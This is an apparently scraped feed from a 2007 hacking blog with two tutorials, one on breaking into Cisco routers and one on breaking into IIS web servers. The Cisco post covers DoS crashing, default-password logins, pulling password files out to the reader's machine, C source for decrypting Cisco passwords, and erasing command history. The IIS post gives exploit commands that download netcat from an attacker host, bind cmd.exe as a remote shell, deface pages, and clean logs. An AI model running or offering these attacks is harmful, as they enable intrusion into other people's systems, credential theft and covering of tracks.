Provider, they are the ones that give you the internet. You connect to one everytime&lt;br /&gt;you dial-up and make a connection. People can find your ISP simply by running a traceroute on you (traceroute is&lt;br /&gt;later explained). It will look something like this:&lt;br /&gt;&lt;br /&gt;tracert 222.222.22.22&lt;br /&gt;&lt;br /&gt;Tracing route to [221.223.24.54]&lt;br /&gt;over a maximum of 30 hops.&lt;br /&gt;1 147ms 122ms 132ms your.isp [222.222.22.21]&lt;br /&gt;2 122ms 143ms 123ms isp.firewall [222.222.22.20]&lt;br /&gt;3 156ms 142MS 122ms aol.com [207.22.44.33]&lt;br /&gt;4 * * * Request timed out&lt;br /&gt;5 101ms 102ms 133ms cisco.router [194.33.44.33]&lt;br /&gt;6 233ms 143ms 102ms something.ip [111.11.11.11]&lt;br /&gt;7 222ms 123ms 213ms netcom.com [122.11.21.21]&lt;br /&gt;8 152ms 211ms 212ms blahblah.tts.net [121.21.21.33]&lt;br /&gt;9 122ms 223ms 243ms altavista.34.com [121.22.32.43] &lt;&lt;&lt; target's isp&lt;br /&gt;10 101ms 122ms 132ms 221.223.24.54.altavista.34.com [221.223.24.54] &lt;br /&gt;Trace complete.&lt;br /&gt;&lt;br /&gt;-----------------------------------&lt;br /&gt;&lt;br /&gt;What is a TCP/IP packet?&lt;br /&gt;&lt;br /&gt;TCP/IP stands for Transmission Control Protocol and Internet Protocol, a TCP/IP packet is a block of data which is&lt;br /&gt;compressed, then a header is put on it and it is sent to another computer. This is how ALL internet transfers occur,&lt;br /&gt;by sending packets. The header in a packet contains the IP address of the one who originally sent the packet. You&lt;br /&gt;can re-write a packet and make it seem like it came from anyone!! You can use this to gain access to lots of systems&lt;br /&gt;and you will not get caught. You will need to be running Linux or have a program which will let you do this. This&lt;br /&gt;tutorial does not tell you to use this on a Cisco router, but it does come in handy when hacking any system. If&lt;br /&gt;something goes wrong when you try to hack a system, you can always try this...&lt;br /&gt;&lt;br /&gt;------------------------------------&lt;br /&gt;&lt;br /&gt;How to spoof your IP:&lt;br /&gt;&lt;br /&gt;Find a program like Genius 2 or DC IS, which will let you run IdentD. This will let you change part of your&lt;br /&gt;computer's identity at will! Use this when you get banned from some IRC chat room.... you can get right back in! You&lt;br /&gt;can also use it when you are accessing another system, so it logs the wrong id...&lt;br /&gt;&lt;br /&gt;------------------------------------&lt;br /&gt;&lt;br /&gt;How to use telnet:&lt;br /&gt;&lt;br /&gt;You can open telnet simply by going to your Start Menu, then to Run, and typing in "telnet". &lt;br /&gt;&lt;br /&gt;Once you have opened telnet, you may want to change some features. Click on Terminal&gt;Preferences. Here you can&lt;br /&gt;change the buffer size, font, and other things. You can also turn on/off "local echo", if you turn local echo on,&lt;br /&gt;your computer will show you everything you type, and the other computer you are connected to will show you aswell.&lt;br /&gt;So you may get something like this;&lt;br /&gt;&lt;br /&gt;You type "hello", and you get&lt;br /&gt;hhelelollo&lt;br /&gt;&lt;br /&gt;This is because the information has bounced back and got scrambled with what you typed. The only reason I would use&lt;br /&gt;this is if the machine does NOT return what you are typing.&lt;br /&gt;&lt;br /&gt;By default, telnet will connect to a system on the telnet port, which is port 23. Now you will not always want to&lt;br /&gt;connect to port 23, so when you go to connect, you can change the port to maybe 25, which is the port for mail&lt;br /&gt;servers. Or maybe port 21, for FTP. There are thousands of ports, so make sure you pick the right one!&lt;br /&gt;&lt;br /&gt;----------------------------------&lt;br /&gt;&lt;br /&gt;How to use HyperTerminal:&lt;br /&gt;&lt;br /&gt;HyperTerminal allows you to open a "server" on any port of your computer to listen for incoming information from&lt;br /&gt;specified computers. To use this, go to &lt;br /&gt;Start&gt;Programs&gt;Accessories&gt;Communications&gt;HyperTerminal. First you will need to select the connection, pick "TCP/IP&lt;br /&gt;Winsock", and then put in the computer to communicate with, and the port #. You can tell it to listen for input by&lt;br /&gt;going to Call&gt;Wait for Call. Now the other computer can connect to you on that port, and you can chat and transfer&lt;br /&gt;files.&lt;br /&gt;&lt;br /&gt;----------------------------------&lt;br /&gt;&lt;br /&gt;How to use Ping:&lt;br /&gt;&lt;br /&gt;Ping is easy, just open the MS-DOS prompt, and type "ping ip.address", by default it will ping 3 times, but you can&lt;br /&gt;type &lt;br /&gt;&lt;br /&gt;"ping ip.address -t"&lt;br /&gt;&lt;br /&gt;Which will make it ping forever. To change the ping size do this:&lt;br /&gt;&lt;br /&gt;"ping -l (size) ip.address"&lt;br /&gt;&lt;br /&gt;What ping does is send a packet of data to a computer, then sees how long it takes to be returned, which determines&lt;br /&gt;the computer's connection speed, and the time that it takes for a packet to go back and forth (this is called the&lt;br /&gt;"trip time"). Ping can also be used to slow down or even crash a system if the system is overloaded by ping floods.&lt;br /&gt;Windows 98 crashes after one minute of pingflooding (it's connections buffer is overflown - too many connections are&lt;br /&gt;registered, and so Windows decides to take a little vacation).&lt;br /&gt;A ping flood attack takes a lot of bandwidth from you, and you must have more bandwidth than your target (unless&lt;br /&gt;the target is a Windows 98 box and you have an average modem, that way you'll knock it down after approximately a&lt;br /&gt;single minute of ping flooding). Ping flooding isn't effective against stronger targets, unless you have quite a few&lt;br /&gt;evil lines to yourself, and you have control over a few bandwidth-saavy hosts that can ping flood your target as&lt;br /&gt;well.&lt;br /&gt;Note: DOS's -t option doesn't do a ping flood, it just pings the target continously, with intervals from one ping to&lt;br /&gt;another. In every Unix or Linux distribution, you can use ping -f to do a real pingflood. Actually ping -f is&lt;br /&gt;required if you want your distribution to be POSIX-compliant (POSIX - Portable Operating System Interface based on&lt;br /&gt;uniX), otherwise it's not a real Unix/Linux distribution, so if you have an OS that calls itself either Unix or&lt;br /&gt;Linux, it has the -f switch.&lt;br /&gt;&lt;br /&gt;----------------------------------&lt;br /&gt;&lt;br /&gt;How to use TraceRoute:&lt;br /&gt;&lt;br /&gt;To trace your connection (and see all the computer's between you and a target), just open the MS-DOS prompt, and&lt;br /&gt;type "tracert ip.address" and you will see a list of computers, which are between you and the target computer. &lt;br /&gt;&lt;br /&gt;You can use this to determine if there are firewalls blocking anything. And will also allow you to determine&lt;br /&gt;someone's ISP (internet service provider). &lt;br /&gt;&lt;br /&gt;To determine the ISP, simple look at the IP address before the last one, this should be one of the ISP's routers.&lt;br /&gt;&lt;br /&gt;Basically, this is how traceroute works - a TCP/IP packet has a value in it's header (it's in the IP header. If you&lt;br /&gt;don't know what this means, then ignore it and continue reading, it's not that crucial) called TTL, which stands&lt;br /&gt;for Time To Live. Whenever a packet hops (travels through a router) it's TTL value is decreased by one. This is just&lt;br /&gt;a countermeasure against the possibility that something would go wrong and a packet would ricochet all around the&lt;br /&gt;net, thus wasting bandwidth.&lt;br /&gt;So when a packet's TTL reaches zero, it dies and an ICMP error is sent back to the sender.&lt;br /&gt;Now, traceroute first sends a packet with a TTL value of 1. The packet quickly returns, and by looking at the&lt;br /&gt;sender's address in the ICMP error's header, the traceroute knows where the packet has been in it's first hop. Then&lt;br /&gt;it sends a packet with a TTL value of 2, and it returns after the second hop, revealing it's identity. This goes on&lt;br /&gt;until the packet reaches it's destination.&lt;br /&gt;&lt;br /&gt;Now isn't that fun? :-)&lt;br /&gt;&lt;br /&gt;----------------------------------&lt;br /&gt;&lt;br /&gt;How to use a proxy server: &lt;br /&gt;&lt;br /&gt;Do a search on the web for a proxy server which runs on the port of your choice. Once you find one, connect to it&lt;br /&gt;with either telnet or hyperterminal and then connect to another computer through the proxy server. This way the&lt;br /&gt;computer at the other end will not know your IP address.&lt;br /&gt;&lt;br /&gt;----------------------------------&lt;br /&gt;&lt;br /&gt;Section 1: why hack a cisco router?&lt;br /&gt;&lt;br /&gt;You probably are wondering.. why hack into a cisco router? &lt;br /&gt;&lt;br /&gt;The reason being is that they are useful when it comes to breaking into other systems...&lt;br /&gt;&lt;br /&gt;Cisco routers are very fast, some with 18 T1 connections on one system, and they are very flexible and can be used&lt;br /&gt;in DoS attacks or to hack other systems since most of them run telnet. &lt;br /&gt;&lt;br /&gt;They also have thousands of packets going through them at any one time, which can be captured and decoded... A lot&lt;br /&gt;of cisco routers are also trusted systems, and will let you have a certain amount of access to other computers on&lt;br /&gt;it's network.&lt;br /&gt;&lt;br /&gt;----------------------------------&lt;br /&gt;&lt;br /&gt;Section 2: finding a cisco router&lt;br /&gt;&lt;br /&gt;Finding a cisco router is a fairly easy task, almost every ISP will route through at least one cisco router. The&lt;br /&gt;easiest way to find a cisco router is to run a traceroute from dos (type "tracert" and then the IP address of&lt;br /&gt;anyone's computer), you can trace pretty much anyone because the trace will show all of the computer systems between&lt;br /&gt;your computer and their computer. One of these systems will probably have the name "cisco" in it's name. If you find&lt;br /&gt;one like this, copy down it's IP address. &lt;br /&gt;&lt;br /&gt;Now you have the location of a cisco router, but it may have a firewall protecting it, so you should see if it's&lt;br /&gt;being blocked by pinging it a couple times, if you get the ping returned to you, it might not be blocked. Another&lt;br /&gt;way is to try to access some of the cisco router's ports, you can do this simply by using telnet, and opening a&lt;br /&gt;connection to the router on port 23.. If it asks for a password, but no username, you are at the router, but if it&lt;br /&gt;wants a username aswell, you are probably at a firewall. &lt;br /&gt;&lt;br /&gt;Try to find a router without a firewall, since this tutorial is on the routers and not how to get past the&lt;br /&gt;firewalls. Once you're sure you have found a good system, you should find a proxy server which will allow you to use&lt;br /&gt;port 23, this way your IP will not be logged by the router.&lt;br /&gt;&lt;br /&gt;---------------------------------&lt;br /&gt;&lt;br /&gt;Section 3: how to break into a cisco router&lt;br /&gt;&lt;br /&gt;Cisco routers running v4.1 software (which currently is most of them) will be easily disabled. You simply connect to&lt;br /&gt;the router on port 23 through your proxy server, and enter a HUGE password string, something like;&lt;br /&gt;&lt;br /&gt;10293847465qpwoeirutyalskdjfhgzmxncbv019dsk10293847465qpwoeirutyalskdjfhgzmxncbv019dsk10293847465qpwoeirutyalskdjfhgzmxncbv019dsk10293847465qpwoeirutyalskdjfhgzmxncbv019dsk10293847465qpwoeirutyalskdjfhgzmxncbv019dsk10293847465qpwoeirutyalskdjfhgzmxncbv019dsk10293847465qpwoeirutyalskdjfhgzmxncbv019dsk10293847465qpwoeirutyalskdjfhgzmxncbv019dsk&lt;br /&gt;&lt;br /&gt;Now wait, the cisco system might reboot, in which case you can't hack it because it is offline.. But it will&lt;br /&gt;probably freeze up for a period of 2-10 minutes, which you must use to get in. &lt;br /&gt;&lt;br /&gt;If neither happens, then it is not running the vulnerable software, in which case you can try several DoS attacks,&lt;br /&gt;like a huge ping. Go to dos and type "ping -l 56550 cisco.router.ip -t", this will do the same trick for you. &lt;br /&gt;&lt;br /&gt;While it is frozen, open up another connection to it from some other proxy, and put the password as "admin", the&lt;br /&gt;reason for this is because by default, this is the router's password, and while it is temporarily disabled, it will&lt;br /&gt;revert to it's default state. &lt;br /&gt;&lt;br /&gt;Now that you have logged in, you must acquire the password file! The systems run different software, but most will&lt;br /&gt;have a prompt like "htl-textil" or something, now type "?" for a list of commands, you will see a huge list of&lt;br /&gt;commands, somewhere in there you will find a transfer command, use that to get the password file of admin (which is&lt;br /&gt;the current user) and send it to your own IP address on port 23. But before you do this, set up HyperTerminal to&lt;br /&gt;wait for a call from the cisco router. Now once you send the file, HyperTerminal will ask you if you want to accept&lt;br /&gt;the file that this machine is sending you, say yes and save it to disk. Logout. &lt;br /&gt;&lt;br /&gt;You are now past the hardest part, give yourself a pat on the back and get ready to break that password!&lt;br /&gt;&lt;br /&gt;------------------------------&lt;br /&gt;&lt;br /&gt;Section 4: breaking the password&lt;br /&gt;&lt;br /&gt;Now that you have acquired the password file, you have to break it so you can access the router again. To do this,&lt;br /&gt;you can run a program like John the Ripper or something on the password file, and you may break it. &lt;br /&gt;&lt;br /&gt;This is the easiest way, and the way i would recommend. Another way would be to try and decrypt it. For this you&lt;br /&gt;will need some decryption software, a lot a patience, and some of the decryption sequences. &lt;br /&gt;&lt;br /&gt;Here is a sequence for decrypting a cisco password, you have to compile this in linux:&lt;br /&gt;&lt;br /&gt;#include &lt;stdio.h&gt;&lt;br /&gt;#include &lt;ctype.h&gt;&lt;br /&gt;&lt;br /&gt;char xlat[] = {&lt;br /&gt;0x64, 0x73, 0x66, 0x64, 0x3b, 0x6b, 0x66, 0x6f,&lt;br /&gt;0x41, 0x2c, 0x2e, 0x69, 0x79, 0x65, 0x77, 0x72,&lt;br /&gt;0x6b, 0x6c, 0x64, 0x4a, 0x4b, 0x44&lt;br /&gt;};&lt;br /&gt;&lt;br /&gt;char pw_str1[] = "password 7 ";&lt;br /&gt;char pw_str2[] = "enable-password 7 ";&lt;br /&gt;&lt;br /&gt;char *pname;&lt;br /&gt;&lt;br /&gt;cdecrypt(enc_pw, dec_pw)&lt;br /&gt;char *enc_pw;&lt;br /&gt;char *dec_pw;&lt;br /&gt;{&lt;br /&gt;unsigned int seed, i, val = 0;&lt;br /&gt;&lt;br /&gt;if(strlen(enc_pw) &amp; 1)&lt;br /&gt;return(-1);&lt;br /&gt;&lt;br /&gt;seed = (enc_pw[0] - '0') * 10 + enc_pw[1] - '0';&lt;br /&gt;&lt;br /&gt;if (seed &gt; 15 || !isdigit(enc_pw[0]) || !isdigit(enc_pw[1]))&lt;br /&gt;return(-1);&lt;br /&gt;&lt;br /&gt;for (i = 2 ; i &lt;= strlen(enc_pw); i++) {&lt;br /&gt;if(i !=2 &amp;&amp; !(i &amp; 1)) {&lt;br /&gt;dec_pw[i / 2 - 2] = val ^ xlat[seed++];&lt;br /&gt;val = 0;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;val *= 16;&lt;br /&gt;&lt;br /&gt;if(isdigit(enc_pw[i] = toupper(enc_pw[i]))) {&lt;br /&gt;val += enc_pw[i] - '0';&lt;br /&gt;continue;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;if(enc_pw[i] &gt;= 'A' &amp;&amp; enc_pw[i] &lt;= 'F') {&lt;br /&gt;val += enc_pw[i] - 'A' + 10;&lt;br /&gt;continue;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;if(strlen(enc_pw) != i)&lt;br /&gt;return(-1);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;dec_pw[++i / 2] = 0;&lt;br /&gt;&lt;br /&gt;return(0);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;usage()&lt;br /&gt;{&lt;br /&gt;fprintf(stdout, "Usage: %s -p &lt;encrypted password&gt;\n", pname);&lt;br /&gt;fprintf(stdout, " %s &lt;router config file&gt; &lt;output file&gt;\n", pname);&lt;br /&gt;&lt;br /&gt;return(0);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;main(argc,argv)&lt;br /&gt;int argc;&lt;br /&gt;char **argv;&lt;br /&gt;&lt;br /&gt;{&lt;br /&gt;FILE *in = stdin, *out = stdout;&lt;br /&gt;char line[257];&lt;br /&gt;char passwd[65];&lt;br /&gt;unsigned int i, pw_pos;&lt;br /&gt;&lt;br /&gt;pname = argv[0];&lt;br /&gt;&lt;br /&gt;if(argc &gt; 1)&lt;br /&gt;{&lt;br /&gt;if(argc &gt; 3) {&lt;br /&gt;usage();&lt;br /&gt;exit(1);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;if(argv[1][0] == '-')&lt;br /&gt;{&lt;br /&gt;switch(argv[1][1]) {&lt;br /&gt;case 'h':&lt;br /&gt;usage();&lt;br /&gt;break;&lt;br /&gt;&lt;br /&gt;case 'p':&lt;br /&gt;if(cdecrypt(argv[2], passwd)) {&lt;br /&gt;fprintf(stderr, "Error.\n");&lt;br /&gt;exit(1);&lt;br /&gt;}&lt;br /&gt;fprintf(stdout, "password: %s\n", passwd);&lt;br /&gt;break;&lt;br /&gt;&lt;br /&gt;default:&lt;br /&gt;fprintf(stderr, "%s: unknow option.", pname);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;return(0);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;if((in = fopen(argv[1], "rt")) == NULL)&lt;br /&gt;exit(1);&lt;br /&gt;if(argc &gt; 2)&lt;br /&gt;if((out = fopen(argv[2], "wt")) == NULL)&lt;br /&gt;exit(1);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;while(1) {&lt;br /&gt;for(i = 0; i &lt; 256; i++) {&lt;br /&gt;if((line[i] = fgetc(in)) == EOF) {&lt;br /&gt;if(i)&lt;br /&gt;break;&lt;br /&gt;&lt;br /&gt;fclose(in);&lt;br /&gt;fclose(out);&lt;br /&gt;return(0);&lt;br /&gt;}&lt;br /&gt;if(line[i] == '\r')&lt;br /&gt;i--;&lt;br /&gt;&lt;br /&gt;if(line[i] == '\n')&lt;br /&gt;break;&lt;br /&gt;}&lt;br /&gt;pw_pos = 0;&lt;br /&gt;line[i] = 0;&lt;br /&gt;&lt;br /&gt;if(!strncmp(line, pw_str1, strlen(pw_str1)))&lt;br /&gt;pw_pos = strlen(pw_str1);&lt;br /&gt;&lt;br /&gt;if(!strncmp(line, pw_str2, strlen(pw_str2)))&lt;br /&gt;pw_pos = strlen(pw_str2);&lt;br /&gt;&lt;br /&gt;if(!pw_pos) {&lt;br /&gt;fprintf(stdout, "%s\n", line);&lt;br /&gt;continue;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;if(cdecrypt(&amp;line[pw_pos], passwd)) {&lt;br /&gt;fprintf(stderr, "Error.\n");&lt;br /&gt;exit(1);&lt;br /&gt;}&lt;br /&gt;else {&lt;br /&gt;if(pw_pos == strlen(pw_str1))&lt;br /&gt;fprintf(out, "%s", pw_str1);&lt;br /&gt;else&lt;br /&gt;fprintf(out, "%s", pw_str2);&lt;br /&gt;&lt;br /&gt;fprintf(out, "%s\n", passwd);&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;If you do not have Linux, then the only way to break the password is to run a dictionary or brute-force attack on&lt;br /&gt;the file with John the Ripper or another password-cracker.&lt;br /&gt;&lt;br /&gt;-------------------------------&lt;br /&gt;&lt;br /&gt;Section 5: using the router&lt;br /&gt;&lt;br /&gt;To use this wonderful piece of technology, you will have to be able to connect to it, use a proxy if you do not want&lt;br /&gt;your IP logged. Once you have logged in, you'll want to disable the history so no one can look at what you were&lt;br /&gt;doing, type in "terminal history size 0". Now it won't remember anything! Type "?" for a list of all of the router's&lt;br /&gt;commands, and you will be able to use most of them. &lt;br /&gt;&lt;br /&gt;These routers usually have telnet, so you can use telnet to connect to other systems, (like unix boxes) and hack&lt;br /&gt;into them. It also is equipped with ping and traceroute, which you can use to trace systems or do DoS attacks. You&lt;br /&gt;may also be able to use it to intercept packets, but i do not recommend this, as it will not always work, and may&lt;br /&gt;get you noticed....&lt;br /&gt;&lt;br /&gt;---------------------------------&lt;br /&gt;&lt;br /&gt;If you don't hack a cisco your first time, don't worry... you probably won't do it the first time, or even the&lt;br /&gt;second. It takes practice and patience. This is just to show you how... And make sure you are going after something&lt;br /&gt;that is LEGAL.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2811100680510495731-819619244289531499?l=hacking-guides.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hacking-guides.blogspot.com/feeds/819619244289531499/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2811100680510495731&amp;postID=819619244289531499' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2811100680510495731/posts/default/819619244289531499'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2811100680510495731/posts/default/819619244289531499'/><link rel='alternate' type='text/html' href='http://hacking-guides.blogspot.com/2007/12/exploiting-cisco-systems.html' title='Exploiting cisco systems'/><author><name>ekansh</name><uri>http://www.blogger.com/profile/09203979474549210138</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2811100680510495731.post-6759228808617507709</id><published>2007-12-02T01:16:00.000-08:00</published><updated>2007-12-02T01:21:46.259-08:00</updated><title type='text'>Hacking iis tutorial</title><content type='html'>Forewords:&lt;br /&gt;This text goes out to all those NT hackers out there. It is based on the info I have from eEye Digital Security Team, which found the exploit, and my own experience.&lt;br /&gt;Note: All the files used in this paper can be found at the main page. &lt;br /&gt;&lt;br /&gt;According to eEye Digital Security Team the systems affected include:&lt;br /&gt;&lt;br /&gt;Internet Information Server 4.0 (IIS4)&lt;br /&gt;Microsoft Windows NT 4.0 SP3 Option Pack 4&lt;br /&gt;Microsoft Windows NT 4.0 SP4 Option Pack 4&lt;br /&gt;Microsoft Windows NT 4.0 SP5 Option Pack 4&lt;br /&gt;&lt;br /&gt;I performed the attack from a Windows NT 4.0 machine with the required programs: &lt;br /&gt;&lt;br /&gt;iishack.exe&lt;br /&gt;ncx.exe or ncx99.exe or BertzSvc.exe&lt;br /&gt;&lt;br /&gt;Ncx.exe is a hacked up version of the program netcat.exe. Ncx.exe always passes -l -p 80 -t -e cmd.exe as its argument, which means that it binds cmd.exe to port 80. The eEye people has received some reports from people not being able use the ncx.exe, so they have made another hacked up version of netcat.exe, ncx99.exe. Ncx99.exe binds cmd.exe to port 99 instead of port 80, which should solve the problem. The reason of why ncx.exe doesn't work sometimes is that inetinfo.exe has to be exited, before it can work. Ncx.exe fits under the description Trojan horse! To kick inetinfo.exe use avoid.exe (which also soon will be available at the web site). BertzSvc.exe binds cmd.exe to port 123 instead. &lt;br /&gt;How to do it:&lt;br /&gt;First of all you'll need a server running IIS4, NT4 and/or SP3/4/5 + OP4. To find such, go to www.netcraft.com or you favorite “what's-this-site-running-search-engine” and find a victim running the affected system.Second, you need to craft a buffer overrun about 3 k on the target machine!&lt;br /&gt;Then launch iishack.exe via the command prompt in WinNT.&lt;br /&gt;&lt;br /&gt;Output:&lt;br /&gt;&lt;br /&gt;--------(IIS 4.0 remote buffer overflow exploit)----------&lt;br /&gt;(c) dark spyrit -- barns@eeye.com. http://www.eEye.com&lt;br /&gt;&lt;br /&gt;[usage: iishack &lt;host&gt; &lt;port&gt; &lt;url&gt; ]&lt;br /&gt;eg - iishack www.example.com 80 www.myserver.com/thetrojan.exe&lt;br /&gt;do not include 'http://' before hosts!&lt;br /&gt;----------------------------------------------------------&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Then issue the command as you can see beneath ex.&lt;br /&gt;&lt;br /&gt;C:\&gt;iishack www.victim.com 80 YourOwnIpAddress/ncx.exe &lt;br /&gt;&lt;br /&gt;Output (if successful):&lt;br /&gt;&lt;br /&gt;Data sent!&lt;br /&gt;&lt;br /&gt;note: Give it (the IIS) enough time to download ncx.exe. Hint: Use Rasmon.exe to monitor your outgoing bytes.&lt;br /&gt;&lt;br /&gt;After that type telnet www.victim.com 80 in cmd.exe or in the start/run menu.&lt;br /&gt;&lt;br /&gt;Output:&lt;br /&gt;&lt;br /&gt;Microsoft(R) Windows NT(TM)&lt;br /&gt;(C) Copyright 1985-1996 Microsoft Corp.&lt;br /&gt;&lt;br /&gt;C:\&gt;&lt;br /&gt;&lt;br /&gt;Voila! Access granted! &lt;br /&gt;Do you whatever you wanna do, but remember to:&lt;br /&gt;&lt;br /&gt;- add a scheduled task to restart inetinfo.exe in X minutes. (AT command will do it) &lt;br /&gt;- add a scheduled task to delete ncx.exe X-1 minutes.&lt;br /&gt;- clean the log files (if there are any). &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Corrections, suggestions or comments are accepted here &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;---------------------------------------------------------------&lt;br /&gt;Hi Folks, &lt;br /&gt;i have just compiled the well-known IIS tricks. I hope it &lt;br /&gt;will be helpful for securing your server. &lt;br /&gt;any comment,suggestion or insult...? wellcome &lt;br /&gt;MAB- &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;SECURING IIS by BREAKING &lt;br /&gt;===================================================== &lt;br /&gt;by Mount Ararat Blossom &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;9/15/2000 &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;mount_ararat_blossom@hotmail.com &lt;br /&gt;===================================================== &lt;br /&gt;01- Abstract &lt;br /&gt;I am not sure what you want to get out of this but basically this paper &lt;br /&gt;is intended on breaking merely IIS web servers especially versions 4.0 and &lt;br /&gt;5.0 via TCP/IP over the port 80. This techniques works against even &lt;br /&gt;so-called secure networks just because every network even those secured ones &lt;br /&gt;lets HTTP connections in. &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;===================================================== &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;02- Intro &lt;br /&gt;Alright so you all wanna know how to break into IIS web servers? First off, &lt;br /&gt;you should find a cgi-scanner so that things will get easier. My personnel &lt;br /&gt;preferences are &lt;br /&gt;"whisker" by "rain forest puppy" (www.wiretrip.net/rfp). &lt;br /&gt;"cis" by "mnemonix" (www.cerberus-infosec.co.uk) &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;To understand which server is running on the victim site &lt;br /&gt;telnet &lt;victim&gt; 80 &lt;br /&gt;GET HEAD / HTTP/1.0 &lt;br /&gt;and there you go with the name and the version of the web server. However &lt;br /&gt;some sites might run their web servers over 8080, 81, 8000, 8001, and so on. &lt;br /&gt;To understand SSL web servers, which provides encryption between the web &lt;br /&gt;server and the browser we use the tool "ssleay" &lt;br /&gt;s_client -connect &lt;victim&gt;:443 &lt;br /&gt;HEAD / HTTP /1.0 &lt;br /&gt;and here we go again. &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;As i am writing this i am hoping that you will be able to use this to &lt;br /&gt;secure your web servers instead of using this to break into others. &lt;br /&gt;===================================================== &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;03- Game Starts &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;========IIS HACK===== &lt;br /&gt;The folks at www.eeye.com, have found a vulnerability on IIS 4.0 which &lt;br /&gt;allows us to upload a crafted version of netcat (hacker's swiss army knife) &lt;br /&gt;onto victim server and binds a cmd.exe on port 80. &lt;br /&gt;The vulnerabliy was a bufferoverflow in .htr .idc and .stm files. The &lt;br /&gt;problem is with insufficient bounds checking of the names in the URL for &lt;br /&gt;.htr .stm and .idc files, allowing hackers to insert some backdoors to &lt;br /&gt;download and execute arbitrary commands on the local system as the &lt;br /&gt;administrator user. &lt;br /&gt;To hack the victim site we need &lt;br /&gt;iishack.exe &lt;br /&gt;ncx.exe (you can find these two at &lt;br /&gt;www.technotronic.com) &lt;br /&gt;plus we need a web server running at our attacking box. &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;First off, run the web server on your attacking box and place &lt;br /&gt;the ncx.exe on your root directory. &lt;br /&gt;then run iishack.exe against the victim site &lt;br /&gt;c:\&gt;iishack.exe &lt;victim&gt; 80 &lt;evil_hacker&gt;/ncx.exe &lt;br /&gt;Then here we go, go and get your swiss army knife, namely netcat, &lt;br /&gt;c:\&gt;nc &lt;victim&gt; 80 ==============&gt;&gt;&gt;BOOM! &lt;br /&gt;the command promt from the victim site suddenly appears on your box !!! &lt;br /&gt;D:\&gt; or whatever it is , C;E;... &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;do you want me to xplain what to do next, hey common you must be kidding &lt;br /&gt;...hehe.... &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;=========MDAC- Local Command Execution=========== &lt;br /&gt;You might think that it is a years-old vulnerability, however what i see on &lt;br /&gt;pen-tests is that almost 40% of IIS web servers are still vulnerable to &lt;br /&gt;this. &lt;br /&gt;IIS' MDAC component has a vulnerability where an attacker can submit &lt;br /&gt;commands for local execution. &lt;br /&gt;The core problem is with the RDS Datafactory. By default, it allows remote &lt;br /&gt;commands to be sent to the IIS server. The commands will be run as the &lt;br /&gt;effective user of the service, which is typically the SYSTEM user. &lt;br /&gt;I wont get into details, if you want go and check RFP's web &lt;br /&gt;site. However, you can find a vulnerable site by checking &lt;br /&gt;c:\&gt;nc -nw -w 2 &lt;victim&gt; 80 &lt;br /&gt;GET /msadc/msadcs.dll HTTP &lt;br /&gt;and if you get the following &lt;br /&gt;application/x_varg &lt;br /&gt;it is most probably vulnerable if not patched. &lt;br /&gt;You can find the exploit, mdac.pl and msadc2.pl from rain forest puppy's &lt;br /&gt;web site at www.wiretrip.net/rfp It checks for the vulnerability and if it &lt;br /&gt;is vulnerable then it asks for the command you wanna execute: &lt;br /&gt;c:\&gt; mdac.pl -h &lt;victim&gt; &lt;br /&gt;Please type the NT commandline you want to run (cmd /c assumed):\n &lt;br /&gt;cmd /c &lt;br /&gt;if you wanna change the web site which is located at &lt;br /&gt;d:\inetpub\wwwroot\victimweb\index.htm &lt;br /&gt;then you can type: &lt;br /&gt;cmd/c echo hacked by me &gt; d:\inetpub\wwwroot\victimweb\index.htm &lt;br /&gt;or what ever you want but my personnal preference is uploading our swiss &lt;br /&gt;army knife, netcat, and binding it to the cmd.exe to the port 80. To do that &lt;br /&gt;i set up my TFTP server and put nc.exe in it. Then when i am asked to type &lt;br /&gt;the command i want to execute, i type the following: &lt;br /&gt;cmd/c cd %systemroot%&amp;&amp;tftp -i &lt;evil_hacker&gt; GET nc.exe&amp;&amp;del ftptmp &lt;br /&gt;&amp;&amp; attrib -r nc.exe&amp;&amp;nc.exe -l -p 80 -t -e cmd.exe &lt;br /&gt;there you go, go on fire your netcat against the victim over port 80, you &lt;br /&gt;get the eggshell, cmd.exe..... &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;=========Codebrws.asp &amp; Showcode.asp ================== &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Codebrws.asp and Showcode.asp is a viewer file that ships with Microsoft &lt;br /&gt;IIS, but is &lt;br /&gt;not installed by default. The viewer is intended to be installed by the &lt;br /&gt;administrator to allow for the viewing of sample files as a learning &lt;br 